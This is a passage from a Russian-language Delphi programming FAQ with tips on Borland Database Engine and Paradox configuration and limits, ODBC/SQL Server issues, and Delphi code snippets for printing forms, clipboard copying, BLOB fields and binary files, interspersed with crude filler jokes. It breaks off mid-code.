Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 1 марта!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

БОЛЬШОЙ FAQ ПО DELPHI



Общий доступ к данным с DBD и Paradox

Автор: Mark Ostroff

Я обнаружил, что открытый Data Desktop, даже без открытых объектов, может создавать "помехи". Также мудрит открытая сессия Delphi, если вы запускаете собранное приложение вне IDE. Я допускаю, что если вы закрываете все объекты под DD, конфигурация BDE быстро себя не очистит. Наверное мне следовало бы запустить мое приложение пару недель спустя, но я реально предполагаю, что множество сеансов Paradox блокируют бедный BDE.

Пожалуйста запустите утилиту BDE Config, поставляемую с Delphi и с PdoxWin. Перейдите на страницу SYSTEM и проверьте, установлен ли параметр LOCAL SHARE. Если вы хотите, что несколько приложений имели доступ к данным Paradox, LOCAL SHARE должен быть установлен в TRUE (и должны быть загружены SHARE или VCACHE).

При этом вы должны принимать во внимание, что если вы хотите, чтобы "LOCAL SHARE = TRUE" все время работал правильно и надежно, вы должны также определить уникальные индивидуальные каталоги для всех приложений, использующих BDE для доступа к таблицам Paradox. В противном случае, "поведение по умолчанию" заставит BDE использовать текущий рабочий каталог как частный. И, как вы все догадываетесь, Pdox блокирует данный каталог, считая его "частной собственностью" и не допуская к табличкам остальных соперников . . . то-то, а вы говорите "блокируют бедный BDE".




Ошибка BDE32 2104

Автор: Pat Ritchey

Не всё то глюк, что блестит.

Пример, приведенный для функции dbiGetDatabaseDesc в файле BDE32.HLP, неверен. Такой же пример содержится в файле TI3100.ASC. Я пробовал это на 3 разных компьютерах. Я использую среду Delphi. Ошибка, которую я получаю при попытке использования функции, выглядит следующим образом:

EDBEngineError с сообщением 'Возникла ошибка при попытке инициализации Borland Database Engine (ошибка $2104).'

При вызове любой из функций BDE, если вы не пользуетесь компонентами для работы с базами данных, вам необходимо инициализировать BDE вызовом dbiInit(nil).




Ошибка чтения потока

- Как баги размножаются?
- Hу программисты с ними по ночам тр@хаются.

В моем автономном приложении при чтении/записи из моей базы данных с помощью BDE проблем не возникает. Когда я выгружаю .EXE на наш сетевой том NetWare 3.11, я получаю случайные сообщения об ошибке "Stream Read Error" (ошибка чтения потока). В сети у меня имеется BDE, но пользователи имеют на своих жестких дисках собственные файлы IDAPI.CFG. Может мне кто-нибудь прояснит ситуацию?

В программе конфигурирования Database Engine Configuration, на закладке 'system', попробуйте изменить значение по умолчанию для MAXFILEHANDLES с 48 на 12. Не знаю почему, но это решило мои проблемы, у меня исчезли ошибки 'Stream read error' и различные GPF-ы.

Roger Huffman

Вопреки логики, как мне УМЕНЬШИТЬ количество дескрипторов файлов? Повышать мне их не удалось.

BDE берет дескриптор файла из доступного пула, поэтому, уменьшая его, вы эффективно теряете дескрипторы файла для его нормального открытия и закрытия. Также, уменьшая количество дескрипторов файла BDE, вы ничего этим не сделаете, поскольку BDE начинает их виртуализировать.

Roy Woll




Решение проблемы BDE Index out of Date

Автор: Tom Jensen

Некоторое время назад у меня также была масса ошибок типа 'index out of date' и даже искажение данных. После продолжительного исследования я выяснил причину, она оказалось в различных установках Paradox Language в BDE (v1 и V3) на странице Driver и System в утилите конфигурирования BDE. Я не обратил внимание на установки на странице System одной из рабочих станций, и получил искажение данных.




Ограничения BDE

Автор: Nomadic

Из беседы юзеров: "Как включить Windows, не включая компьютер?"

BDE: под Windows, все версии.
Если Вы обнаружите, что Вы ограничены более строго, чем здесь описано, или Вы получаете ошибку выхода за пределы доступной памяти, то увеличение параметра SHAREDMEMSIZE в BDE Config до 4096 или более может способствовать снятию более строгих ограничений.
Здесь указаны максимальные ограничения для некоторых общих обьектов BDE.

    Основные ограничения BDE:

  • 48 клиентов в системе;
  • 32 сессии на одного клиента (для версии 3.5 и ниже, 16 Bit, 32 Bit)
  • 256 сессий на одного клиента (для версии 4.0 и выше, 32 Bit)
  • 32 открытых баз данных на сессию (для версии 3.5 и ниже, 16 Bit, 32 Bit)
  • 2048 открытых баз данных на сессию (для версии 4.0 и выше, 32 Bit)
  • 32 загруженных драйвера
  • 64 сессии в системе (для версии 3.5 и ниже, 16 Bit, 32 Bit)
  • 12288 сессии в системе (для версии 4.0 и выше, 32 Bit)
  • 4000 курсоров на сессию
  • 16 вхождений в стеке ошибок
  • 8 типов таблиц на один драйвер
  • 16 типов полей на один драйвер
  • 8 типов индексов на один драйвер
  • 48K Размер конфигурационного файла (IDAPI.CFG)
  • 64K Максимальный размер оператора SQL при RequestLive=False
  • 4K Максимальный размер оператора SQL при RequestLive=True (для версии 4.0 и ниже, 16/32 Bit)
  • 6K Максимальный размер оператора SQL при RequestLive=True (для версии 4.01 и выше, 32 Bit)
  • 16K Размер буфера записи (SQL и ODBC)
  • 31 Размер имени таблицы и имени поля в символах
  • 64 Размер имени хранимой процедуры в символах
  • 16 Полей в ключе
  • 3 Размер расширения имени файла в символах
  • 260 Длина имени таблицы в символах (некоторые сервера могут иметь другие ограничения)
  • 260 Длина полного имени файла и пути файловой системы в символах

    Ограничения Paradox:

  • 127 открытых таблиц в системе (для версии 4.0 и ниже, 16/32 Bit)
  • 254 открытых таблиц в системе (для версии 4.01 и выше, 32 Bit)
  • 64 блокировки на запись на одну таблицу (16Bit) на одну сессию
  • 255 блокировок на запись на одну таблицу (32Bit) на одну сессию
  • 255 записей, учавствующих в транзакции на таблицу (32 Bit)
  • 512 открытых физически файлов (DB, PX, MB, X??, Y??, VAL, TV) (для версии 4.0 и ниже, 16/32 Bit)
  • 1024 открытых физически файлов (DB, PX, MB, X??, Y??, VAL, TV) (для версии 4.01 и выше, 32 Bit)
  • 300 пользователей в одном файле PDOXUSRS.NET
  • 255 полей в таблице
  • 255 размер символьных полей
  • 2 миллиарда записей в таблице
  • 2 миллиарда байт в .DB (таблица) файле
  • 10800 байт на запись для индексированных таблиц
  • 32750 байт на запись для неиндексированных таблиц
  • 127 вторичных индексов на таблицу
  • 16 полей на индекс
  • 255 одновременно работающих пользователей на таблицу
  • 256 Мегабайт данных на одно BLOb поле
  • 100 паролей на сессию
  • 15 длина пароля
  • 63 паролей на таблицу
  • 159 полей с проверками корректности (validity check) (32 Bit)
  • 63 поля с проверками корректности (validity check) (16 Bit)

    Ограничения dBase:

  • 256 открытых таблиц dBASE на систему (16 Bit)
  • 350 открытых таблиц dBASE на систему (BDE 3.0 - 4.0, 32 Bit)
  • 512 открытых таблиц dBASE на систему (BDE 4.01 и выше, 32 Bit)
  • 100 блокировок на запись на одной таблице dBASE (16 and 32 Bit)
  • 100 записей, учавствующих в транзакции на таблицу (32 Bit)
  • 1 миллиард записей в таблице
  • 2 миллиарда байт в файле .DBF (таблица)
  • 4000 Размер записи в байтах (dBASE 4)
  • 32767 Размер записи в байтах (dBASE for Windows)
  • 255 Количество полей в таблице (dBASE 4)
  • 1024 Количество полей в таблице (dBASE for Windows)
  • 47 Количество тэгов индексов на один .MDX-файл.
  • 254 Размер символьных полей
  • 10 открытых основных индексов (.MDX) на таблицу
  • 220 Длина ключевого выражения в символах



BDE, ODBC и SQL Server 6.0

Автор: Ben (Laden :)

...хорошо, можете мне не верить, но я могу прикрутить BDE/ODBC/SQL Server 6.0 для моей работы. И даже с той проблемой, с которой вы ко мне обратились (ошибка открытия базы данных), это может работать и у вас.

Шаг #1. Убедитесь в том, что драйвер SQL Server ODBC имеет версию не ниже is 2.50.0121. Это можно сделать двумя путями: запустить ODBC Administrator, щелкнуть на закладке с драйверами, выбрать SQL Server и щелкнуть на кнопке "About". Другой способ немного проще (простите за сарказм после описания вашего способа): вы можете просто сообщить 16-битной Windows о том, что вы работаете с версией драйвера 2.50.0121 ODBC и установить его по умолчанию в параметрах SQL Server!

Это не шутка (!!!). Я говорил по этому поводу с группой поддержки Microsoft, и они сообщили мне, что если я не буду использовать версию 2.50.0121 драйвера ODBC, то я получу кучу проблем, особенно с функциями "Catalog" (которые, как я понимаю, по умолчанию включены в набор функций базы данных). При установке этой версии драйвера, любые попытки "поговорить" с SQL Server через ODBC возвращали ошибку SPXListenForPacket (или типа этой). Я позвонил в группу поддержки Microsoft, на что они ответили: "О, да. Забудьте об этом. Драйвер ODBC не работает с SQL Server 6.0 с параметрами по умолчанию SQL Server 6.0."

Шаг #2. "Сбросьте" размер сетевого пакета, используемого SQL Server 6.0 (установите его равным 512 байтов). Я не помню точное его значение, но вы можете справиться в руководстве по SQL Server 6.0. Надеюсь что помог вам!




Вопросы Delphi, BDE и SQL Links

Объект: SQL Server

Некоторые вопросы, с которыми мне пришлось столкнуться (некоторые из них могут быть решены в самых последних обновлениях и версиях Delphi/BDE/SQL Links):

  1. TStoredProc не может работать с SQL Server 6.0 и ODBC. Delphi передает дополнительный параметр для возвращаемого значения процедуры, который не может "переварить" SQL 6.0. Такая же проблема была и в 4.21, но 4.21 не имел проверку этих параметров. Для использования хранимых процедур вы должны использовать TQuery.

  2. TStoredProc с SQL Links имел ошибку в параметрах строки, заключающуюся в неправильном заполнении максимальной длины управляющих символов. Это калечило хранимые данные и делало так, что результаты, получаемые с любым выражением WHERE и использованием такого параметра никогда не соответствовали ожидаемым и действительным.

  3. TStoredProc не прозрачен между SQL Links и ODBC. Если вы создаете компонент TStoredProc при связи посредством SQL Links, и запустите приложение с использованием соединения ODBC, это работать не будет. Delphi создает два различных (и несовместимых) синтаксиса для возвращаемого значения процедуры. Вы не можете переключаться между SQL Links и ODBC (в любом направлении).

  4. Из-за проблем TStoredProc, описанных выше (и поскольку нам необходимо иметь возможность работы приложений со множеством SQL-серверов), для вызова хранимых процедур мы используем TQuery. Я не могу узнать как мне получить значение выходного параметра от хранимой процедуры, используя TQuery. Соединения ODBC всегда возвращают Null. Соединения SQL Links также возвращают Null или ошибку синтаксиса процедуры. Borland же требует безукоризненной работы. Я надеюсь что это сделать все-же можно, только мне пока не сообщили как. Многие программисты говорят об аналогичных проблемах.

  5. Соединения ODBC игнорируют базу данных, определенную в источнике данных ODBC и всегда подключаются к основной (мастер) базе данных. Если вы определяете базу данных по умолчанию для пользователей SQL Server, она *будет* подключаться. Это проблема, похоже, относится только к драйверам Microsoft ODBC и как с ними работает Delphi. Некоторые сообщают, что драйвер Intersolv работает правильно.

  6. Вы не должны забывать сбрасывать все запросы перед началом нового. SQL Server не допускает множества курсоров в одном соединении с базой данных, так что, если вы начинаете с запроса, возвращающего установленный результат, вам необходимо убедиться, что приложение выбрало все строки (TQuery.Last) перед началом другого запроса. Или перед началом другого запроса не забывайте закрывать предыдущий (TQuery.Close). Если вы не сделаете этого, вы увидете "Connection is in use by another statement" (Соединение используется другим запросом) при вашем следующем запросе.

  7. Тем не менее, если вы вызываете TQuery.Prepare перед запуском вашего запроса, TQuery.Close не закроет соединения. Убей не знаю почему. Я начал получать целую кучу ошибок "Connection is in use by another statement" там, где я закрыл запрос перед началом следующего. Я потратил пару часов прежде чем выяснил, что мой вызов Prepare аннулирует вызов TQuery.Close.

  8. TQuery медленнен для создания себя, если у вас есть куча SQL-параметров в множестве строк в свойстве SQL. При использовании TQuery для вызова хранимых процедур вы могли бы в общем случае воспользоваться им примерно таким образом:

    execute pb_creditapp_update(
       :iAPPLICATION_ID,
       :iCURUSER_ID,
       :iNAME,
       :iADDRESS,
       :iCITY,
       и т.д. для нескольких строк.
    TQuery требует несколько секунд, чтобы "заполнить себя". Дело в том, что для каждой SQL-строки, добавляемой к компоненту, TQuery уничтожает свой внутренний список параметров и полностью создает его вновь. Так что, если вы имеете 50 параметров в разных строках, TQuery 50 раз пересоздаст внутренний список параметров.

  9. У меня были проблемы с использованием RAISERROR в качестве исключения в Delphi. Обычно это классно работает. Но если вы используете это в хранимой процедуре после того, как ваша хранимая процедура что-то сделала для установления результата (SELECT), то RAISERROR не возвращается в Delphi в виде исключения (или ODBC, или SQL Links). Visual Basic это "получает" как положено, поэтому я подразумеваю, что это какая-то проблема с BDE. Если вы используете RAISERROR перед любым запросом, который устанавливает результат, то это работает как надо.



Как скопировать BDE таблицу

Данный пример копирует таблицу, достаточно только указать каталог, имя исходной таблицы и имя каталога куда копировать остальное сделает BDE, скопирует таблицу, все индексы и связанные файлы.


 uses
    DB, DBTables, DbiProcs, DbiErrs, DbiTypes;
 
  procedure CopyTable(FromDir, SrcTblName, ToDir, DestTblName:
  String);
  var
    DBHandle: HDBIDB;
    ResultCode: DBIResult;
    Src, Dest, Err: Array[0..255] of Char;
    SrcTbl, DestTbl: TTable;
  begin
    SrcTbl := TTable.Create(Application);
    DestTbl := TTable.Create(Application);
    try
      SrcTbl.DatabaseName := FromDir;
      SrcTbl.TableName := SrcTblName;
      SrcTbl.Open;
      DBHandle := SrcTbl.DBHandle;
      SrcTbl.Close;
      ResultCode := DbiCopyTable(DBHandle,false,
        StrPCopy(Src,FromDir + '\' + SrcTblName), nil,
        StrPCopy(Dest,ToDir + '\' + DestTblName));
      if ResultCode <> DBIERR_NONE then
      begin
        DbiGetErrorString(ResultCode,Err);
        raise EDatabaseError.Create('While copying ' +
          FromDir + '\' + SrcTblName + ' to ' +
          ToDir + '\' +  DestTblName + ', the '
          + ' database engine   generated the error '''
          + StrPas(Err) + '''');
      end;
    finally
      SrcTbl.Free;
      DestTbl.Free;
    end;
  end;
 




Как заставить BDE сохранять в БД поле времени с сотыми долями секунды

Автор: Nomadic

Если руками, то в BDE Administrator (BDE Configuration Utility).

Если при инсталляции твоей программы, то -
В пункте Make Registry Changes InstallShield'а создай ключ

HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Database Engine\Settings\SYSTEM\FORMATS\TIME\MILSECONDS=TRUE



Версия BDE


 uses BDE;
 
 {Without the Registry:}
 
 procedure TForm1.Button1Click(Sender: TObject);
 var
   ThisVersion: SYSVersion;
 begin
   DbiGetSysVersion(ThisVersion);
   ShowMessage('BORLAND DATABASE ENGINE VERSION = ' + IntToStr(ThisVersion.iVersion));
 end;
 
 {With the Registry:}
 
 function GetBDEVersion: string;
 var
   h: hwnd;
   ptr: Pointer;
   proc: TSYSVerProc;
   ver: SYSVersion;
   idapi: string;
   reg: TRegistry;
 begin
   try
     reg.RootKey := HKEY_CLASSES_ROOT;
     reg.OpenKey('CLSID\{FB99D710-18B9-11D0-A4CF-00A024C91936}\InProcServer32', False);
     idapi := reg.ReadString('');
     reg.CloseKey;
   finally
     reg.Free;
   end;
   Result := '<BDE Bulunamadi>';
   h      := LoadLibrary(PChar(idapi));
   if h <> 0 then
     try
       ptr := GetProcAddress(h, 'DbiGetSysVersion');
       if ptr <> nil then
       begin
         proc := ptr;
         Proc(Ver);
         Result := IntToStr(ver.iVersion);
         Insert('.', Result, 2);
       end;
     finally
       FreeLibrary(h);
     end;
 end;
 




Как в Delphi реализовать возможность пропищать звук различной длины и частоты

- Алло! Техотдел?! Я комп врубаю, а на экране ничего!!!
- Перезагрузи для начала.
- Как?
- Alt-Ctrl-Del.
- Не нажимаются!
- Тогда нажми Reset - потом перезвони.
(Минут через десять)
- Алло! На экране все равно ничего нет!
- Reset нажал?
- Нажал!
- Ну, и?..
- Что "и"?! Держу!!!


 procedure SetPort(address, Value: Word);
 var
   bValue: byte;
 begin
   bValue := trunc(Value and 255);
   asm
     mov dx, address
     mov al, bValue
     out dx, al
   end;
 end;
 
 function GetPort(address: word): word;
 var
   bValue: byte;
 begin
   asm
     mov dx, address
     in al, dx
     mov bValue, al
   end;
   GetPort := bValue;
 end;
 
 procedure Sound(Freq: Word);
 var
   B: Byte;
 begin
   if Freq > 18 then
   begin
     Freq := Word(1193181 div LongInt(Freq));
     B := Byte(GetPort($61));
     if (B and 3) = 0 then
     begin
       SetPort($61, Word(B or 3));
       SetPort($43, $B6);
     end;
     SetPort($42, Freq);
     SetPort($42, Freq shr 8);
   end;
 end;
 




Реакция на минимизацию формы перед тем как произойдет изменение размера


 type
        TForm1 = class(TForm)
        private
        {Private declarations}
        procedure WMSysCommand(var Msg: TWMSysCommand);
        message WM_SYSCOMMAND;
        public
        {Public declarations}
 end;
 
 var
        Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 procedure TForm1.WMSysCommand;
 begin
        if (Msg.CmdType = SC_MINIMIZE) or (Msg.CmdType = SC_MAXIMIZE) then
        MessageBeep(0)
        else
        inherited;
 end;
 
 




Как узнать, что форма готовится изменить размеры


 {Перехватываем сообщение GetMinMaxInfo и
  устанавливаем минимальный размер окна,
  используя декларированные константы}
 procedure TForm1.WMGETMINMAXINFO( var message: TMessage );
 var
   mStruct: PMinMaxInfo;
 begin
   mStruct := PMinMaxInfo(message.lParam);
   mStruct.ptMinTrackSize.x := HORIZONTALSIZE;
   mStruct.ptMinTrackSize.y := VERTICALSIZE;
   message.Result := 0;
 end;
 




Лучший способ печати формы

Данный документ содержит подробное описание способа печати содержимого формы: получение отдельных битов устройства при 256-цветной форме, и использования полученных битов для печати формы на принтере.

Кроме того, в данном коде осуществляется проверка палитры устройства (экран или принтер), и включается обработка палитры соответствующего устройства. Если устройством палитры является устройство экрана, принимаются дополнительные меры по заполнению палитры растрового изображения из системной палитры, избавляющие от некорректного заполнения палитры некоторыми видеодрайверами.

Примечание: Поскольку данный код делает снимок формы, форма должна располагаться на самом верху, поверх остальных форм, быть полность на экране, и быть видимой на момент ее "съемки".


 unit Prntit;
 
 interface
 
 uses
   SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,
   Controls, Forms, Dialogs, StdCtrls, ExtCtrls;
 
 type
   TForm1 = class(TForm)
     Button1: TButton;
     Image1: TImage;
     procedure Button1Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;
 
 var
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 uses Printers;
 
 procedure TForm1.Button1Click(Sender: TObject);
 var
 
   dc: HDC;
   isDcPalDevice: BOOL;
   MemDc: hdc;
   MemBitmap: hBitmap;
   OldMemBitmap: hBitmap;
   hDibHeader: Thandle;
   pDibHeader: pointer;
   hBits: Thandle;
   pBits: pointer;
   ScaleX: Double;
   ScaleY: Double;
   ppal: PLOGPALETTE;
   pal: hPalette;
   Oldpal: hPalette;
   i: integer;
 begin
 
   {Получаем dc экрана}
   dc := GetDc(0);
   {Создаем совместимый dc}
   MemDc := CreateCompatibleDc(dc);
   {создаем изображение}
   MemBitmap := CreateCompatibleBitmap(Dc,
     form1.width,
     form1.height);
   {выбираем изображение в dc}
   OldMemBitmap := SelectObject(MemDc, MemBitmap);
 
   {Производим действия, устраняющие ошибки при работе с некоторыми типами видеодрайверов}
   isDcPalDevice := false;
   if GetDeviceCaps(dc, RASTERCAPS) and
     RC_PALETTE = RC_PALETTE then
   begin
     GetMem(pPal, sizeof(TLOGPALETTE) +
       (255 * sizeof(TPALETTEENTRY)));
     FillChar(pPal^, sizeof(TLOGPALETTE) +
       (255 * sizeof(TPALETTEENTRY)), #0);
     pPal^.palVersion := $300;
     pPal^.palNumEntries :=
       GetSystemPaletteEntries(dc,
       0,
       256,
       pPal^.palPalEntry);
     if pPal^.PalNumEntries <> 0 then
     begin
       pal := CreatePalette(pPal^);
       oldPal := SelectPalette(MemDc, Pal, false);
       isDcPalDevice := true
     end
     else
       FreeMem(pPal, sizeof(TLOGPALETTE) +
         (255 * sizeof(TPALETTEENTRY)));
   end;
 
   {копируем экран в memdc/bitmap}
   BitBlt(MemDc,
     0, 0,
     form1.width, form1.height,
     Dc,
     form1.left, form1.top,
     SrcCopy);
 
   if isDcPalDevice = true then
   begin
     SelectPalette(MemDc, OldPal, false);
     DeleteObject(Pal);
   end;
 
   {удаляем выбор изображения}
   SelectObject(MemDc, OldMemBitmap);
   {удаляем dc памяти}
   DeleteDc(MemDc);
   {Распределяем память для структуры DIB}
   hDibHeader := GlobalAlloc(GHND,
     sizeof(TBITMAPINFO) +
     (sizeof(TRGBQUAD) * 256));
   {получаем указатель на распределенную память}
   pDibHeader := GlobalLock(hDibHeader);
 
   {заполняем dib-структуру информацией, которая нам необходима в DIB}
   FillChar(pDibHeader^,
     sizeof(TBITMAPINFO) + (sizeof(TRGBQUAD) * 256),
     #0);
   PBITMAPINFOHEADER(pDibHeader)^.biSize :=
     sizeof(TBITMAPINFOHEADER);
   PBITMAPINFOHEADER(pDibHeader)^.biPlanes := 1;
   PBITMAPINFOHEADER(pDibHeader)^.biBitCount := 8;
   PBITMAPINFOHEADER(pDibHeader)^.biWidth := form1.width;
   PBITMAPINFOHEADER(pDibHeader)^.biHeight := form1.height;
   PBITMAPINFOHEADER(pDibHeader)^.biCompression := BI_RGB;
 
   {узнаем сколько памяти необходимо для битов}
   GetDIBits(dc,
     MemBitmap,
     0,
     form1.height,
     nil,
     TBitmapInfo(pDibHeader^),
     DIB_RGB_COLORS);
 
   {Распределяем память для битов}
   hBits := GlobalAlloc(GHND,
     PBitmapInfoHeader(pDibHeader)^.BiSizeImage);
   {Получаем указатель на биты}
   pBits := GlobalLock(hBits);
 
   {Вызываем функцию снова, но на этот раз нам передают биты!}
   GetDIBits(dc,
     MemBitmap,
     0,
     form1.height,
     pBits,
     PBitmapInfo(pDibHeader)^,
     DIB_RGB_COLORS);
 
   {Пробуем исправить ошибки некоторых видеодрайверов}
   if isDcPalDevice = true then
   begin
     for i := 0 to (pPal^.PalNumEntries - 1) do
     begin
       PBitmapInfo(pDibHeader)^.bmiColors[i].rgbRed :=
         pPal^.palPalEntry[i].peRed;
       PBitmapInfo(pDibHeader)^.bmiColors[i].rgbGreen :=
         pPal^.palPalEntry[i].peGreen;
       PBitmapInfo(pDibHeader)^.bmiColors[i].rgbBlue :=
         pPal^.palPalEntry[i].peBlue;
     end;
     FreeMem(pPal, sizeof(TLOGPALETTE) +
       (255 * sizeof(TPALETTEENTRY)));
   end;
 
   {Освобождаем dc экрана}
   ReleaseDc(0, dc);
   {Удаляем изображение}
   DeleteObject(MemBitmap);
 
   {Запускаем работу печати}
   Printer.BeginDoc;
 
   {Масштабируем размер печати}
   if Printer.PageWidth < Printer.PageHeight then
   begin
     ScaleX := Printer.PageWidth;
     ScaleY := Form1.Height * (Printer.PageWidth / Form1.Width);
   end
   else
   begin
     ScaleX := Form1.Width * (Printer.PageHeight / Form1.Height);
     ScaleY := Printer.PageHeight;
   end;
 
   {Просто используем драйвер принтера для устройства палитры}
   isDcPalDevice := false;
   if GetDeviceCaps(Printer.Canvas.Handle, RASTERCAPS) and
     RC_PALETTE = RC_PALETTE then
   begin
     {Создаем палитру для dib}
     GetMem(pPal, sizeof(TLOGPALETTE) +
       (255 * sizeof(TPALETTEENTRY)));
     FillChar(pPal^, sizeof(TLOGPALETTE) +
       (255 * sizeof(TPALETTEENTRY)), #0);
     pPal^.palVersion := $300;
     pPal^.palNumEntries := 256;
     for i := 0 to (pPal^.PalNumEntries - 1) do
     begin
       pPal^.palPalEntry[i].peRed :=
         PBitmapInfo(pDibHeader)^.bmiColors[i].rgbRed;
       pPal^.palPalEntry[i].peGreen :=
         PBitmapInfo(pDibHeader)^.bmiColors[i].rgbGreen;
       pPal^.palPalEntry[i].peBlue :=
         PBitmapInfo(pDibHeader)^.bmiColors[i].rgbBlue;
     end;
     pal := CreatePalette(pPal^);
     FreeMem(pPal, sizeof(TLOGPALETTE) +
       (255 * sizeof(TPALETTEENTRY)));
     oldPal := SelectPalette(Printer.Canvas.Handle, Pal, false);
     isDcPalDevice := true
   end;
 
   {посылаем биты на принтер}
   StretchDiBits(Printer.Canvas.Handle,
     0, 0,
     Round(scaleX), Round(scaleY),
     0, 0,
     Form1.Width, Form1.Height,
     pBits,
     PBitmapInfo(pDibHeader)^,
     DIB_RGB_COLORS,
     SRCCOPY);
 
   {Просто используем драйвер принтера для устройства палитры}
   if isDcPalDevice = true then
   begin
     SelectPalette(Printer.Canvas.Handle, oldPal, false);
     DeleteObject(Pal);
   end;
 
   {Очищаем распределенную память} GlobalUnlock(hBits);
   GlobalFree(hBits);
   GlobalUnlock(hDibHeader);
   GlobalFree(hDibHeader);
 
   {Заканчиваем работу печати}
   Printer.EndDoc;
 
 end;
 




Работа с большими массивами

Распределите память кучи с помощью GetMem. Если вы имеете:


 var
   a, b: array [0..30000]: Integer;
 

то попробуйте:


 type
   TBigArray = array [0..30000] of Integer;
 var
   a, b: ^TBigArray;
 

и во внешнем блоке сделайте:


 GetMem(a, SizeOf(TBigArray));
 GetMem(b, SizeOf(TBigArray));
 

Также необходимо применять указатели на память вместо ссылок, например взамен:


 a[0] := xxx;
 

необходимо использовать


 a^[0] := xxx;
 




Копирование большого файла в буфер обмена

Автор: Peter Below

У женщины-программистки есть три пути сделать себе карьеру: два спереди и один сзади!

Вот общее решение, которое будет работать, даже если у вас размер файла превышает 64Кб:


 function _hread(FileHandle: word; BufPtr: pointer;
   ByteCount: longint): longint; far;
   external 'KERNEL' index 349;
 
 procedure CopyFileToClipboard(const fname: string);
 var
   hmem, hFile: THandle;
   size: LongInt;
   p: Pointer;
 begin
   hFile := FileOpen(fname, fmOpenRead);
   try
     size := FileSeek(hFile, 0, 2);
     FileSeek(hfile, 0, 0);
     if size > 0 then
     begin
       hmem := GlobalAlloc(GHND, size);
       if hMem <> 0 then
       begin
         p := GlobalLock(hMem);
         if p <> nil then
         begin
           _hread(hFile, p, size);
           GlobalUnlock(hMem);
           Clipboard.SetAsHandle(CF_TEXT, hMem);
         end
         else
           GlobalFree(hMem);
       end;
     end;
   finally
     FileClose(hFile);
   end;
 end;
 
 procedure TForm1.SpeedButton2Click(Sender: TObject);
 var
   fname: string[128];
 begin
   if OpenDialog1.Execute then
   begin
     fname := OpenDialog1.Filename;
     CopyFileToClipboard(fname);
   end;
 end;
 




Какой шрифт установлен (крупный или мелкий)



 function SmallFonts: Boolean;
 {Значение функции TRUE если мелкий шрифт}
 var
   DC: HDC;
 begin
   DC := GetDC(0);
   Result := (GetDeviceCaps(DC, LOGPIXELSX) = 96);
   { В случае крупного шрифта будет 120}
   ReleaseDC(0, DC);
 end;
 




Как записать в BLOB поле большой текст (более 255) из Delphi


 var
   S: TBlobStream;
   B: pointer;
   c: integer;
 
 ...
 
   Table1.Edit;
   S := TBlobStream.Create(Table1BlobField as TBlobField, bmWrite); {кажется, так}
   C := S.write(B, C);
   Table1.Post;
   S.Destroy;
 

или так


 var
   S: TMemoryStream;
   B: pointer;
   C: integer;
 
 ...
 
 S := TMemoryStream.Create;
 
 ...
 
   Table1.Edit;
   S.Clear;
   S.SetSize(C);
   C := S.write(B,C);
   (Table1BlobField as TBlobField).LoadFromStream(S);
   S.Clear;
   Table1.Post;
 
 ...
 
 S.Destroy;
 




Как сбросить на диск кэшированную информацию о бинарном файле

Автор: Олег Кулабухов

Звонок в службу технической поддержки:
- У меня компьютер не работает!
- После чего это произошло?
- Я его включил - загрузился Нортон. Смотрю - у меня слева диск С: и справа диск С:. Я подумал - нафиг мне два диска С:? И стер правый к чертовой матери.


 procedure TForm1.Button1Click(Sender: TObject);
 var
   f: file;
   i: integer;
 begin
   i := 10;
   AssignFile(f, 'C:\DownLoad\Test.Bin');
   ReWrite(f, 1);
   BlockWrite(f, i, sizeof(i));
   FlushFileBuffers(TFileRec(f).Handle);
   CloseFile(f);
 end;
 




Двоичный файл с набором изображений

Автор: Ed Jordan

Может кто-либо обеспечить меня хорошим примером как сохранить множество изображений в единственном бинарном файле?

Хорошо, вот пример. Я не могу сказать что это лучшее решение, но это работает. Я надеюсь данный совет побудит моих читателей придумать более мудрое решение, коротое я потом и опубликую.

Данный пример помещает вашу запись в объект. Хотя это и не было строго необходимым, я сконфигурировал алгоритм имеенно так, потому что рано или поздно вы это сделаете... В качестве средства для чтения и записи он использует потоки. Возможно вы уже использовали потоки, поэтому моя технология не будет для вас открытием. Одно из преимуществ использования потока в том, что для работы с графическими объектами -- bitmap, icon, metafile -- можно использовать методы SaveToStream и LoadFromStream.

У меня была проблема с использованием LoadFromStream, и она была похожей на вашу. При вызове Graphic.LoadFromStream, графика "оставляла" позицию потока с самом его конце, а не в конце записи. Другими словами, если графический объект первый раз записывал себя в поток, данные заканчивались в позиции 247. Но когда графический объект "читал себя", он не останавливался в позиции 247, а читал себя из всего потока. Поэтому мог быть прочитан только один объект.

Мое решение проблемы заключается в установке позиции, на которой действительно заканчивается запись. Затем, после того как графический объект прочтет себя из потока, я снова перемещаю позицию, готовля тем самым поток для чтения следующего объекта. Эти детали делают реализацию объекта чуть сложнее. Вот и вот, код смотрите ниже.

Кое-то еще: я сделал объект, способным обрабатывать иконки, метафайлы, а также простые изображения. Не знаю, понадобиться ли вам это, и может быть я выбрал не самое элегантное решение...


 unit Unit2;
 
 interface
 uses Graphics, Classes;
 
 type
   TAlbumRec = class
   private
     FGraphic: TGraphic;
     FDescription: string; { ...Просто пример поля }
     FItemType: ShortInt;  { ...Просто пример поля }
     procedure SetGraphic(AGraphic: TGraphic);
   public
     constructor Create;
     destructor Destroy; override;
     procedure LoadFromStream(Stream: TStream);
     procedure SaveToStream(Stream: TStream);
     property Graphic: TGraphic read FGraphic write SetGraphic;
     property Description: string read FDescription write FDescription;
     property ItemType: ShortInt read FItemType write FItemType;
   end;
 
 implementation
 
 constructor TAlbumRec.Create;
 begin
   inherited Create;
 end;
 
 destructor TAlbumRec.Destroy;
 begin
   FGraphic.Free;
   inherited Destroy;
 end;
 
 procedure TAlbumRec.LoadFromStream(Stream: TStream);
 var
   GraphicTypeCode: Char;
   EndPosition: LongInt;
 begin
   { Считываем в потоке позицию где заканчивается запись... }
   Stream.Read(EndPosition, SizeOf(EndPosition));
 
   { Считываем в Delphi 1.0 строку... }
   Stream.Read(FDescription[0], SizeOf(Byte));
   Stream.Read(FDescription[1], Byte(FDescription[0]));
 
   { Читаем целое... }
   Stream.Read(FItemType, SizeOf(FItemType));
 
